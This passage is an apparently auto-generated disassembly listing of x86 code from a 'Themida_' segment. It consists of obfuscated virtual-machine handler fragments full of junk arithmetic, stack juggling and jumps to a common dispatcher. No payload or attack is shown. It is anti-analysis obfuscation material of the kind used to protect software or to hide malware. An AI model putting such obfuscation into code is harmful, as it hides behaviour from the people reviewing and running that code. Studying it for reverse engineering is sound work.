		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+34h+var_34]
		jmp	loc_5886AB
; ---------------------------------------------------------------------------


loc_5861AF:				; CODE XREF: sub_584787+7C17j
		add	ebp, 4
		xchg	ebp, [esp+34h+var_34]
		jmp	loc_5848A9
; ---------------------------------------------------------------------------


loc_5861BD:				; CODE XREF: sub_584787+9193j
		add	esp, 4
		pop	[esp+30h+var_30]
		mov	esp, [esp+2Ch+var_2C]
		shl	byte ptr [esp+2Ch+var_2C], cl
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_5861D2:				; CODE XREF: sub_584787+7228j
		pop	edi
		jmp	loc_585B27
; ---------------------------------------------------------------------------


loc_5861D8:				; CODE XREF: sub_584787+CBj
		pop	ebx
		add	dl, 19h
		jmp	loc_58DE05
; ---------------------------------------------------------------------------


loc_5861E1:				; CODE XREF: sub_584787+877Bj
		push	290Eh
		mov	[esp+18h+var_18], ebp
		mov	ebp, 1383197Ah
		shr	ebp, 1
		not	ebp
		xchg	ecx, ebp
		not	ecx
		jmp	loc_58A934
; ---------------------------------------------------------------------------


loc_5861FB:				; CODE XREF: sub_584787+6E61j
		sub	esi, 47F465A2h
		add	esi, 15FF115Dh
		add	esi, ebx
		sub	esi, 15FF115Dh
		add	esi, 47F465A2h
		push	eax
		mov	eax, 624C16CDh
		add	eax, 212015D2h
		dec	eax
		shr	eax, 6
		jmp	loc_5879D0
; ---------------------------------------------------------------------------


loc_586229:				; CODE XREF: sub_584787+75C0j
		mov	ebx, 27EE2CC2h
		sub	ebx, 0B269150Fh
		xor	esi, ebx
		pop	ebx
		push	edi
		jmp	loc_58ED25
; ---------------------------------------------------------------------------


loc_58623D:				; CODE XREF: sub_584787+B8Ej
		mov	ecx, 38h
		push	edx
		mov	edx, 24F5474Eh
		add	ecx, edx
		pop	edx
		add	ecx, edi
		sub	ecx, 24F5474Eh
		push	32Ah
		mov	[esp+56h+var_58+2], ebx
		jmp	loc_58C761
; ---------------------------------------------------------------------------


loc_586260:				; CODE XREF: sub_584787+62DEj
		add	edi, 0D9FB7F5Eh
		jmp	loc_588F97
; ---------------------------------------------------------------------------


loc_58626B:				; CODE XREF: sub_584787+B27Dj
		mov	edx, esi
		pop	esi
		or	edx, 7C5A62EBh
		sub	edx, 101A3C8Eh
		and	ebp, edx
		mov	edx, [esp+52h+var_54+2]
		add	esp, 4
		jmp	loc_5903CB
; ---------------------------------------------------------------------------


loc_586287:				; CODE XREF: sub_584787+8B7Cj
		sub	ecx, 893134FEh
		mov	ebx, ecx
		pop	ecx
		add	ebx, eax
		push	ecx
		jmp	loc_584C5D
; ---------------------------------------------------------------------------


loc_586298:				; CODE XREF: sub_584787+27CDj
		add	eax, ebp
		pop	ebp
		mov	ecx, eax
		pop	eax
		shr	ecx, 6
		jmp	loc_58A91D
; ---------------------------------------------------------------------------


loc_5862A6:				; CODE XREF: sub_584787+464Aj
		xchg	ebp, [esp+46h+var_46]
		pop	esp
		mov	[esp+42h+var_42], ebp
		xchg	edi, [esp+42h+var_42]
		xor	edi, eax
		jmp	loc_58A0B2
; ---------------------------------------------------------------------------


loc_5862B7:				; CODE XREF: sub_584787+AC50j
		push	ecx
		mov	ecx, 3A583B4Bh
		push	9DAh
		mov	[esp+0], eax
		mov	eax, 38B076C2h
		or	eax, 45225117h
		jmp	loc_5900C9
; ---------------------------------------------------------------------------


loc_5862D4:				; DATA XREF: Themida_:00584350o
		push	1600h
		mov	[esp+4Eh+var_4E], ebx
		mov	ebx, 779C5E28h
		push	eax
		mov	eax, 41C83218h
		and	eax, 108B7175h
		jmp	loc_58EDE4
; ---------------------------------------------------------------------------


loc_5862F1:				; CODE XREF: sub_584787+A309j
		mov	ebp, 7DF84088h
		and	ebp, 63B4603h
		not	ebp
		sub	ebp, 0FBC7BFFBh
		sub	edx, ebp
		pop	ebp
		xchg	edx, [esp+4Eh+var_4E]
		pop	esp
		mov	[esp+0], ecx
		mov	ecx, 2
		add	ebx, 53556E0Fh
		add	ebx, ecx
		sub	ebx, 53556E0Fh
		pop	ecx
		push	71F9h
		mov	[esp+0], ebx
		push	[esp+4Ah+var_46]
		push	[esp+4Eh+var_4E]
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+52h+var_54+2]
		pop	esp
		jmp	loc_587344
; ---------------------------------------------------------------------------


loc_586347:				; CODE XREF: sub_584787+7AAFj
		pop	eax
		add	ebx, ebp
		pop	ebp
		push	2692h
		mov	[esp+0], ebx
		push	[esp+4Ah+var_46]
		pop	ebx
		jmp	loc_58CDEA
; ---------------------------------------------------------------------------


loc_58635D:				; CODE XREF: sub_584787+480Bj
		add	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		and	eax, esi
		push	[esp+46h+var_46]
		pop	esi
		push	ebx
		sub	esp, 4
		jmp	loc_588F4F
; ---------------------------------------------------------------------------


loc_586376:				; CODE XREF: sub_584787+73Aj
		mov	esi, 4
		jmp	loc_5880E9
; ---------------------------------------------------------------------------


loc_586380:				; CODE XREF: sub_584787+9679j
		push	edi
		mov	edi, 7AA2AE5h
		push	esi
		push	edx
		mov	edx, 6FBA4E00h
		push	eax
		mov	eax, edx
		mov	esi, eax
		pop	eax
		pop	edx
		jmp	loc_5854E9
; ---------------------------------------------------------------------------


loc_586399:				; CODE XREF: Themida_:0058F528j
		push	ecx
		jmp	loc_589ED4
; ---------------------------------------------------------------------------


loc_58639F:				; DATA XREF: Themida_:00584200o
		mov	cx, word ptr [esp+4Ch+var_4E+2]
		push	esi
		mov	esi, esp
		push	eax
		jmp	loc_5886CC
; ---------------------------------------------------------------------------


loc_5863AC:				; CODE XREF: sub_584787+8C19j
		mov	ecx, esp
		push	edi
		jmp	loc_5865EE
; ---------------------------------------------------------------------------


loc_5863B4:				; CODE XREF: sub_584787+4694j
		sub	eax, 70C46434h
		sub	eax, ecx
		push	ecx
		push	ebx
		jmp	loc_58C2AB
; ---------------------------------------------------------------------------


loc_5863C2:				; CODE XREF: sub_584787+4655j
		sub	eax, 55420D3Ah
		add	ebp, eax
		pop	eax
		push	ebp
		push	[esp+60h+var_5C]
		pop	ebp
		pop	[esp+60h+var_60]
		pop	esp
		or	[esp+58h+var_58], eax
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_5863DD:				; CODE XREF: sub_584787+A022j
		push	1CF4h
		mov	[esp+60h+var_60], esi
		push	esp
		jmp	loc_58D70A
; ---------------------------------------------------------------------------


loc_5863EB:				; CODE XREF: sub_584787+A5D5j
		mov	eax, 478B6641h
		jmp	loc_58D448
; ---------------------------------------------------------------------------


loc_5863F5:				; CODE XREF: sub_584787+B2D3j
		sub	esi, 70C3057Bh
		neg	esi
		xor	esi, 92E4B08h
		sub	esi, 0BD11A211h
		add	esi, 0CA74E149h
		sub	ecx, 5D7B3690h
		jmp	loc_58C0BE
; ---------------------------------------------------------------------------


loc_58641A:				; DATA XREF: Themida_:005842D4o
		movzx	ax, byte ptr [edx]
		push	29BEh
		mov	[esp+0], ecx
		push	esp
		pop	ecx
		push	eax
		mov	eax, 1BDC18BBh
		shl	eax, 1
		neg	eax
		sub	eax, 4A250D4Ah
		push	edi
		mov	edi, 1A0C1A45h
		or	eax, edi
		pop	edi
		dec	eax
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		push	edx
		jmp	loc_585615
; ---------------------------------------------------------------------------


loc_58644D:				; CODE XREF: sub_584787+98B9j
		mov	eax, 2
		jmp	loc_5845B0
; ---------------------------------------------------------------------------


loc_586457:				; CODE XREF: sub_584787+448Bj
		add	dl, 0C6h
		sub	dl, al
		push	ebx
		mov	bl, 32h
		xor	bl, 0F4h
		jmp	loc_587623
; ---------------------------------------------------------------------------


loc_586467:				; CODE XREF: sub_584787+5FCj
		push	30B86970h
		pop	eax
		and	eax, 2F29005Fh
		or	eax, 1472EEh
		xor	eax, 4A7C7918h
		sub	eax, 0FD03AA9Ah
		jmp	loc_58ECA5
; ---------------------------------------------------------------------------


loc_586486:				; DATA XREF: Themida_:005841F0o
		mov	cx, word ptr [esp+1Ch+var_1C]
		jmp	loc_58AE3F
; ---------------------------------------------------------------------------


loc_58648F:				; CODE XREF: sub_584787+48B4j
		add	esp, 4
		push	edi
		mov	edi, 2
		add	esi, 6B8E1EE2h
		jmp	loc_585D77
; ---------------------------------------------------------------------------


loc_5864A6:				; CODE XREF: sub_584787+4302j
		mov	esi, 6C5922E8h
		inc	esi
		or	esi, 2EEF39D2h
		add	esi, 53F307B1h
		sub	esi, 6B9F389Eh
		sub	edi, esi
		jmp	loc_58680F
; ---------------------------------------------------------------------------


loc_5864C5:				; CODE XREF: sub_584787+A5C9j
		add	ecx, ebp
		add	ecx, 988138Ch
		mov	ebp, [esp+1Ch+var_1C]
		add	esp, 4
		sub	[esp+18h+var_14], 61BB320Ch
		sub	[esp+18h+var_14], 54FB6B6Bh
		sub	[esp+18h+var_14], ecx
		add	[esp+18h+var_14], 54FB6B6Bh
		add	[esp+18h+var_14], 61BB320Ch
		pop	ecx
		pop	edx
		push	ebx
		mov	ebx, 1E9670A5h
		dec	ebx
		not	ebx
		sub	ebx, 8D1E4013h
		jmp	loc_58DC7E
; ---------------------------------------------------------------------------


loc_58650D:				; CODE XREF: sub_584787+283Cj
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		add	ecx, 4
		jmp	loc_5893ED
; ---------------------------------------------------------------------------


loc_586521:				; CODE XREF: sub_584787+3B7Ej
		pop	edx
		and	eax, ecx
		push	[esp+0Ch+var_C]
		jmp	loc_58725C
; ---------------------------------------------------------------------------


loc_58652C:				; CODE XREF: sub_584787+4441j
		pop	ecx
		add	esp, 4
		add	eax, 4
		xor	eax, [esp+8+var_8]
		jmp	loc_58742A
; ---------------------------------------------------------------------------


loc_586540:				; CODE XREF: sub_584787+3173j
		xchg	eax, [esp+8+var_8]
		jmp	loc_58C078
; ---------------------------------------------------------------------------


loc_586548:				; CODE XREF: sub_584787+80DBj
		add	esp, 4
		add	eax, 4B4A497Fh
		jmp	loc_5873B4
; ---------------------------------------------------------------------------


loc_586558:				; CODE XREF: sub_584787+5D0Aj
		pop	edi
		sub	edx, 9603FC55h
		sub	esi, edx
		jmp	loc_586AF7
; ---------------------------------------------------------------------------


loc_586566:				; CODE XREF: sub_584787+8A49j
		push	eax
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58656D:				; CODE XREF: sub_584787+4F7Ej
		pop	eax
		pop	edi
		mov	ecx, eax
		jmp	loc_587524
; ---------------------------------------------------------------------------


loc_586576:				; CODE XREF: sub_584787+51BAj
		xor	edi, 3DF04FC0h
		mov	ebx, edi
		pop	edi
		add	ebx, edi
		push	edx
		mov	edx, 0
		push	ebp
		mov	ebp, 58F930A3h
		add	ebp, 0EB3EEF2Dh
		add	edx, ebp
		pop	ebp
		add	edx, ebx
		sub	edx, 44381FD0h
		add	eax, [edx]
		jmp	loc_5879E3
; ---------------------------------------------------------------------------


loc_5865A5:				; CODE XREF: sub_584787+1202j
		mov	bl, al
		pop	eax
		pop	ecx
		push	edx
		mov	dl, 58h
		add	dl, 0EEh
		or	dl, 43h
		jmp	loc_58484B
; ---------------------------------------------------------------------------


loc_5865B7:				; CODE XREF: sub_584787+6C27j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		sub	esp, 4
		jmp	loc_58B085
; ---------------------------------------------------------------------------


loc_5865D4:				; CODE XREF: sub_584787+7CD4j
		add	esp, 4


loc_5865DA:				; CODE XREF: sub_584787+5116j
		push	ecx
		mov	ecx, ebx
		mov	ebx, ecx
		mov	ecx, [esp-4+arg_0]
		push	edx
		sub	esp, 4
		mov	[esp+4+var_4], esp
		jmp	loc_5894EC
; ---------------------------------------------------------------------------


loc_5865EE:				; CODE XREF: sub_584787+1C28j
		mov	edi, 62CD0C62h
		push	edx
		mov	edx, 47CE1C3Bh
		shr	edx, 5
		add	edx, 77370939h
		and	edi, edx
		pop	edx
		push	ecx
		mov	ecx, 58764739h
		jmp	loc_58833A
; ---------------------------------------------------------------------------


loc_586610:				; CODE XREF: sub_584787+34C9j
		mov	[esp+5Ch+var_5C], ebx
		push	[esp+5Ch+var_5C]
		pop	esi
		add	esp, 4
		push	esi
		mov	eax, [esp+5Ch+var_5C]
		add	esp, 4
		jmp	loc_58953B
; ---------------------------------------------------------------------------


loc_586629:				; CODE XREF: sub_584787+69A6j
		shr	esi, 6
		inc	esi
		xor	esi, 488E35D7h
		push	esi
		mov	esi, 15034EB1h
		jmp	loc_587D6E
; ---------------------------------------------------------------------------


loc_58663E:				; CODE XREF: sub_584787+287Dj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp+60h+var_60]
		jmp	loc_586DCA
; ---------------------------------------------------------------------------


loc_586652:				; CODE XREF: sub_584787+4B9Aj
		add	[esp+60h+var_60], 4
		push	[esp+60h+var_60]
		pop	edi
		jmp	loc_58AF78
; ---------------------------------------------------------------------------


loc_58665F:				; CODE XREF: sub_584787+6D45j
		cmp	cl, al
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_586667:				; CODE XREF: sub_584787+5B8Bj
		shl	dl, 1
		neg	dl
		xor	dl, 0Eh
		add	dl, 7Dh
		mov	ch, dl
		jmp	loc_585985
; ---------------------------------------------------------------------------


loc_586678:				; DATA XREF: Themida_:00584254o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp+0], cl
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_586688:				; CODE XREF: sub_584787+515Aj
		mov	edx, [esp+0]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		xchg	eax, [esp+0]
		jmp	loc_58679F
; ---------------------------------------------------------------------------


loc_5866A4:				; CODE XREF: sub_584787+789Ej
		sub	esp, 4
		jmp	loc_58E332
; ---------------------------------------------------------------------------


loc_5866AF:				; CODE XREF: sub_584787+5CE5j
		mov	ebp, [esp+0]
		add	esp, 4
		xchg	ebx, [esp+0]
		pop	esp
		bt	[esp+0], ax
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_5866C7:				; CODE XREF: sub_584787+A183j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		push	ecx
		push	eax
		jmp	loc_58F045
; ---------------------------------------------------------------------------


loc_5866DD:				; CODE XREF: sub_584787+7D6j
		inc	edx
		neg	edx
		xor	edx, 0B019AC85h
		xor	edi, edx
		pop	edx
		add	edx, edi
		jmp	loc_58B7F8
; ---------------------------------------------------------------------------


loc_5866F0:				; CODE XREF: sub_584787+2794j
		sub	ebp, ebx
		sub	ebp, 272B770Bh
		mov	ebx, [esp-0Ch+arg_8]
		add	esp, 4
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], ecx
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58670F:				; CODE XREF: sub_584787+A85Ej
		sub	esp, 4
		jmp	loc_58F17E
; ---------------------------------------------------------------------------


loc_586717:				; CODE XREF: sub_584787+45Fj
		push	53E8h
		mov	[esp-4+arg_0], esi
		push	[esp-4+arg_4]
		jmp	loc_5898A2
; ---------------------------------------------------------------------------


loc_586728:				; CODE XREF: sub_584787+BB4Dj
		push	ecx
		mov	ecx, 3E5B641Bh
		add	[esp+4+arg_0], 0F854E0Dh
		jmp	loc_58830A
; ---------------------------------------------------------------------------


loc_58673B:				; CODE XREF: sub_584787+66Dj
		sub	esi, 0DB544BAh
		jmp	loc_586D9B
; ---------------------------------------------------------------------------


loc_586746:				; CODE XREF: sub_584787+49D2j
		xor	ebp, [esp+0Ch+var_C]
		jmp	loc_58939B
; ---------------------------------------------------------------------------


loc_58674E:				; CODE XREF: sub_584787+2055j
		sub	eax, edx
		pop	edx
		xor	ebx, eax
		push	cx
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		add	ebx, 2067252Fh
		add	ebx, ebp
		sub	ebx, 2067252Fh
		pop	ebp
		sub	ebx, 4
		xchg	ebx, [esp+0Eh+var_10+2]
		mov	esp, [esp+0Eh+var_10+2]
		mov	[esp+0Eh+var_10+2], eax
		mov	ah, 1
		push	eax
		mov	al, 85h
		not	al
		shl	al, 3
		dec	al
		push	ecx
		mov	cl, 7Ah
		shr	cl, 5
		push	small 0
		sub	byte ptr [esp+18h+var_18], cl
		mov	cl, byte ptr [esp+18h+var_18]
		add	esp, 2
		push	dx
		jmp	loc_58E6D6
; ---------------------------------------------------------------------------


loc_58679F:				; CODE XREF: sub_584787+1F18j
		pop	esp
		push	small 103Bh
		mov	[esp+0], dx
		push	eax
		mov	al, 0D7h
		jmp	loc_59072A
; ---------------------------------------------------------------------------


loc_5867B0:				; CODE XREF: sub_584787+6F8Cj
		add	[esp+8], ecx
		jmp	loc_58F748
; ---------------------------------------------------------------------------


loc_5867B9:				; CODE XREF: sub_584787+2D98j
		add	esp, 4
		push	4F78h
		jmp	loc_58CC20
; ---------------------------------------------------------------------------


loc_5867C6:				; CODE XREF: sub_584787+2CF2j
		sub	esp, 4
		mov	[esp+0], edx
		jmp	sub_584732
; ---------------------------------------------------------------------------


loc_5867D4:				; CODE XREF: sub_584787+5F4Ej
		neg	edx
		add	edx, 18EEA561h
		jmp	loc_58674E
; ---------------------------------------------------------------------------


loc_5867E1:				; DATA XREF: Themida_:005841FCo
		push	dword ptr [esp+0]
		push	[esp+74h+var_74]
		pop	eax
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 579E3B4Ch
		jmp	loc_58558E
; ---------------------------------------------------------------------------


loc_5867F6:				; CODE XREF: sub_584787+AF4Ej
		push	ebx
		push	edi
		mov	edi, 4
		jmp	loc_58C5CB
; ---------------------------------------------------------------------------


loc_586802:				; CODE XREF: Themida_:005845E5j
		mov	esi, esp
		add	esi, 4
		jmp	loc_590538
; ---------------------------------------------------------------------------


loc_58680F:				; CODE XREF: sub_584787+1D39j
		pop	esi
		sub	edi, ebx
		add	edi, 57530B0Eh
		add	edi, 64D05D46h
		pop	ebx
		push	ecx
		mov	ecx, edi
		mov	ebx, ecx
		pop	ecx
		pop	edi
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58682B:				; CODE XREF: sub_584787+A1BFj
		mov	[esp+10h+var_10], ebx
		push	esp
		pop	ebx
		push	78E7h
		mov	[esp+14h+var_14], ebp
		jmp	loc_588D01
; ---------------------------------------------------------------------------


loc_58683D:				; CODE XREF: sub_584787+7D16j
		push	[esp+14h+var_14]
		jmp	loc_58F02C
; ---------------------------------------------------------------------------


loc_586845:				; CODE XREF: sub_584787+9050j
		mov	[esp+18h+var_18], ebp
		jmp	loc_58F166
; ---------------------------------------------------------------------------


loc_58684D:				; CODE XREF: sub_584787+9893j
		add	ebx, 230B71A2h
		mov	eax, [esp+18h+var_18]
		add	esp, 4
		push	ebp
		mov	ebp, 51EF119Ch
		jmp	loc_585DF5
; ---------------------------------------------------------------------------


loc_586867:				; CODE XREF: sub_584787+1869j
		add	[esp+34h+var_34], 4
		push	[esp+34h+var_34]
		pop	ebx
		push	esi
		mov	esi, esp
		push	ebx
		push	ecx
		jmp	loc_58F399
; ---------------------------------------------------------------------------


loc_586879:				; CODE XREF: sub_584787+5FB2j
		sub	edi, 0FFFFFFFFh
		xor	edi, 0E87D7794h
		add	ebx, edi
		push	[esp+40h+var_42+2]
		mov	edi, [esp+44h+var_46+2]
		jmp	loc_589AED
; ---------------------------------------------------------------------------


loc_586892:				; CODE XREF: sub_584787+85E6j
		sub	esi, 215226D0h
		add	esi, ecx
		push	eax
		mov	eax, 75E01D3Ah
		or	eax, 410F632Bh
		jmp	loc_589EBE
; ---------------------------------------------------------------------------


loc_5868AA:				; CODE XREF: sub_584787+81BAj
		mov	[esp+0], ax
		jmp	loc_58A434
; ---------------------------------------------------------------------------


loc_5868B3:				; CODE XREF: sub_584787+63A0j
		add	esp, 4
		and	[edi+1Ch], esi
		push	[esp+44h+var_46+2]
		pop	esi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp+4Ch+var_4E+2], edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		xchg	edx, [esp+0]
		pop	esp
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_5868F4:				; CODE XREF: sub_584787+3DBBj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		jmp	loc_58E06D
; ---------------------------------------------------------------------------


loc_586917:				; CODE XREF: sub_584787+4Cj
		push	dword ptr [eax]
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58691E:				; CODE XREF: sub_5904F2-88Dj
		mov	[esp+16h+var_18+2], ebp
		push	esp
		jmp	loc_58E4D3
; ---------------------------------------------------------------------------


loc_586927:				; DATA XREF: Themida_:00584324o
		mov	esp, [esp+1Ah+var_1C+2]
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58692F:				; CODE XREF: sub_584787+69C1j
		add	ch, 4Ch
		jmp	loc_588B3F
; ---------------------------------------------------------------------------


loc_586937:				; CODE XREF: sub_584787+5151j
		add	esi, 4
		xchg	esi, [esp+1Ah+var_1C+2]
		pop	esp
		mov	ebx, [esp+16h+var_18+2]
		push	0CF2h
		mov	[esp+1Ah+var_1C+2], edi
		mov	edi, esp
		jmp	loc_586E03
; ---------------------------------------------------------------------------


loc_586953:				; CODE XREF: sub_584787+6A7Dj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+1Ah+var_1C+2]
		pop	esp
		jmp	loc_58C3C0
; ---------------------------------------------------------------------------


loc_586968:				; CODE XREF: sub_584787+BE4Ej
		push	ecx
		push	ebx
		push	edx
		mov	edx, 548E235Dh
		mov	ebx, edx
		pop	edx
		not	ebx
		add	ebx, 59823DE3h
		xor	ebx, 143D5A21h
		shr	ebx, 6
		xor	ebx, offset loc_432506
		jmp	loc_58A198
; ---------------------------------------------------------------------------


loc_58698F:				; CODE XREF: sub_584787+63C9j
		shr	ecx, 6
		jmp	loc_588368
; ---------------------------------------------------------------------------


loc_586997:				; CODE XREF: sub_584787+9732j
		push	ecx
		jmp	loc_58CACC
; ---------------------------------------------------------------------------


loc_58699D:				; DATA XREF: Themida_:005842ECo
		mov	cx, [esp+0]
		push	eax
		push	esp
		mov	eax, [esp+2Ah+var_2C+2]
		add	esp, 4
		add	eax, 4
		sub	esp, 4
		jmp	loc_58DBF6
; ---------------------------------------------------------------------------


loc_5869BC:				; CODE XREF: sub_584787+5095j
		and	edi, 2AF56D05h
		add	edi, 7D1334FEh
		or	edx, edi
		pop	edi
		jmp	loc_588922
; ---------------------------------------------------------------------------


loc_5869D0:				; CODE XREF: sub_584787+4CF0j
		push	ebp
		mov	ebp, esp
		jmp	loc_588DC8
; ---------------------------------------------------------------------------


loc_5869D8:				; CODE XREF: sub_584787+976Bj
		add	esi, 60832483h
		add	esi, ecx
		sub	esi, 60832483h
		pop	ecx
		push	6C24h
		mov	[esp+2Ah+var_2C+2], esi
		push	[esp+2Ah+var_26]
		mov	esi, [esp+2Eh+var_30+2]
		jmp	loc_58EBE2
; ---------------------------------------------------------------------------


loc_5869FB:				; CODE XREF: sub_584787+7D0Bj
		mov	ch, 0BEh
		sub	al, ch
		jmp	loc_58509F
; ---------------------------------------------------------------------------


loc_586A04:				; CODE XREF: sub_584787+3371j
		sub	eax, 6A02630Ah
		sub	eax, edx
		add	eax, 6A02630Ah
		pop	edx
		sub	eax, 37BF5E29h
		add	eax, 41E620F5h
		add	eax, ebp
		sub	eax, 41E620F5h
		push	ebx
		mov	ebx, 37BF5E29h
		add	eax, ebx
		pop	ebx
		push	ecx
		mov	ecx, 71D17E76h
		neg	ecx
		inc	ecx
		add	ecx, 4DB56117h
		jmp	loc_58AEC4
; ---------------------------------------------------------------------------


loc_586A3F:				; CODE XREF: sub_584787+9A83j
		pop	edx
		jmp	loc_58E809
; ---------------------------------------------------------------------------


loc_586A45:				; CODE XREF: sub_584787+A889j
		mov	eax, 3E727DC9h
		xor	edi, eax
		mov	eax, [esp+2Ah+var_2C+2]
		add	esp, 4
		not	edi
		push	ebp
		mov	ebp, 0EA91E801h
		jmp	loc_58F99B
; ---------------------------------------------------------------------------


loc_586A5F:				; CODE XREF: sub_584787+237Ej
		mov	[esp+2Ah+var_2C+2], esi
		pop	dword ptr [edi+24h]
		pop	esi


loc_586A66:				; CODE XREF: sub_584787+F6Fj
		push	1CCFh
		mov	[esp+26h+var_26], ebx
		push	ebp
		jmp	loc_58D199
; ---------------------------------------------------------------------------


loc_586A74:				; CODE XREF: sub_584787+9999j
		xchg	ebx, [esp+2Ah+var_2C+2]
		pop	esp
		add	ebx, edx
		mov	[ebx], al
		jmp	loc_58A0EC
; ---------------------------------------------------------------------------


loc_586A81:				; CODE XREF: sub_584787+3F97j
		or	ecx, ecx
		jz	loc_588280
		push	252Ah
		mov	[esp+2Ah+var_2C+2], esp
		add	[esp+2Ah+var_2C+2], 4
		jmp	loc_5870ED
; ---------------------------------------------------------------------------


loc_586A9A:				; CODE XREF: sub_584787+962Dj
		sub	ebx, 0C67F0B4Fh
		sub	edi, 64D05D46h
		jmp	loc_588A88
; ---------------------------------------------------------------------------


loc_586AAB:				; CODE XREF: sub_584787+4DC5j
		add	dl, 66h
		or	bh, dl
		pop	edx
		not	bh
		jmp	loc_58C14B
; ---------------------------------------------------------------------------


loc_586AB8:				; CODE XREF: sub_584787+40D0j
		pop	eax
		jmp	loc_589288
; ---------------------------------------------------------------------------


loc_586ABE:				; CODE XREF: sub_584787+83FDj
		add	edx, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		xor	eax, edx
		jmp	loc_58B37A
; ---------------------------------------------------------------------------


loc_586AD0:				; CODE XREF: sub_584787+680Cj
		mov	edx, [esp+1Eh+var_20+2]
		jmp	loc_58754C
; ---------------------------------------------------------------------------


loc_586AD8:				; CODE XREF: sub_584787+E33j
		xchg	ecx, [esp+4+var_4]
		jmp	loc_58E2D7
; ---------------------------------------------------------------------------


loc_586AE0:				; DATA XREF: Themida_:005843A8o
		lodsd
		jmp	loc_58B120
; ---------------------------------------------------------------------------


loc_586AE6:				; CODE XREF: sub_584787+5668j
		pop	ecx
		sub	ebp, edx
		pop	edx
		add	ebx, 71A668DCh
		add	ebx, ebp
		jmp	loc_5876C7
; ---------------------------------------------------------------------------


loc_586AF7:				; CODE XREF: sub_584787+1DDAj
		mov	edx, [esp+0]
		add	esp, 4
		push	dword ptr [edi+24h]
		push	6B79h
		jmp	loc_586A5F
; ---------------------------------------------------------------------------


loc_586B0A:				; CODE XREF: sub_584787+6A3Aj
		not	esi
		inc	esi
		add	esi, 0A306B1C3h
		xor	ebp, esi
		pop	esi
		and	ebx, ebp
		jmp	loc_589050
; ---------------------------------------------------------------------------


loc_586B1D:				; CODE XREF: sub_584787+3774j
		pop	esi
		add	esi, 4
		push	eax
		jmp	loc_58A00C
; ---------------------------------------------------------------------------


loc_586B2A:				; CODE XREF: sub_584787+8EADj
		add	edi, 3F4E327Ch
		jmp	loc_58B9AC
; ---------------------------------------------------------------------------


loc_586B35:				; CODE XREF: sub_584787+11BDj
		push	eax
		push	109A6CE9h
		pop	eax
		add	eax, 0FFFFFFFFh
		add	eax, 73E17196h
		and	eax, 1A867401h
		push	ebp
		jmp	loc_586F4F
; ---------------------------------------------------------------------------


loc_586B51:				; CODE XREF: sub_584787+3DEFj
		push	edi
		mov	edi, 0D4D0A126h
		sub	edx, edi
		mov	edi, [esp+4+var_4]
		add	esp, 4
		jmp	loc_584A0A
; ---------------------------------------------------------------------------


loc_586B64:				; CODE XREF: sub_584787+2E18j
		sub	cl, 43h
		mov	dl, cl
		pop	ecx
		add	ch, dl
		pop	edx
		sub	dh, 0B5h
		sub	dh, 5Ch
		add	dh, ch
		add	dh, 5Ch
		add	dh, 0B5h
		mov	ecx, [esp-8+arg_4]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		jmp	loc_5893B2
; ---------------------------------------------------------------------------


loc_586B93:				; DATA XREF: Themida_:00584364o
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		jmp	loc_584C2D
; ---------------------------------------------------------------------------


loc_586B9E:				; CODE XREF: sub_584787+B2Aj
		add	esi, eax
		pop	eax
		push	1C9Bh
		mov	[esp+0], esi
		push	[esp+4Ah+var_46]
		push	[esp+4Eh+var_4E]
		mov	esi, [esp+52h+var_54+2]
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp+0]
		mov	esp, [esp+46h+var_46]
		jmp	loc_584D16
; ---------------------------------------------------------------------------


loc_586BCA:				; CODE XREF: sub_584787+1714j
		mov	ebx, [esp+14h+var_14]
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 0E844E16h
		xor	ebp, 2836129Fh
		jmp	loc_5880BF
; ---------------------------------------------------------------------------


loc_586BE1:				; CODE XREF: sub_584787+79A0j
		sub	esi, edi
		jmp	loc_58874A
; ---------------------------------------------------------------------------


loc_586BE8:				; CODE XREF: sub_584787+4597j
		not	[esp+1Ch+var_1C]
		pop	ebp
		dec	ebp
		push	ecx
		push	ebp
		push	ebx
		jmp	loc_58EFF5
; ---------------------------------------------------------------------------


loc_586BF5:				; CODE XREF: sub_584787+7C07j
		inc	[esp+24h+var_26+2]
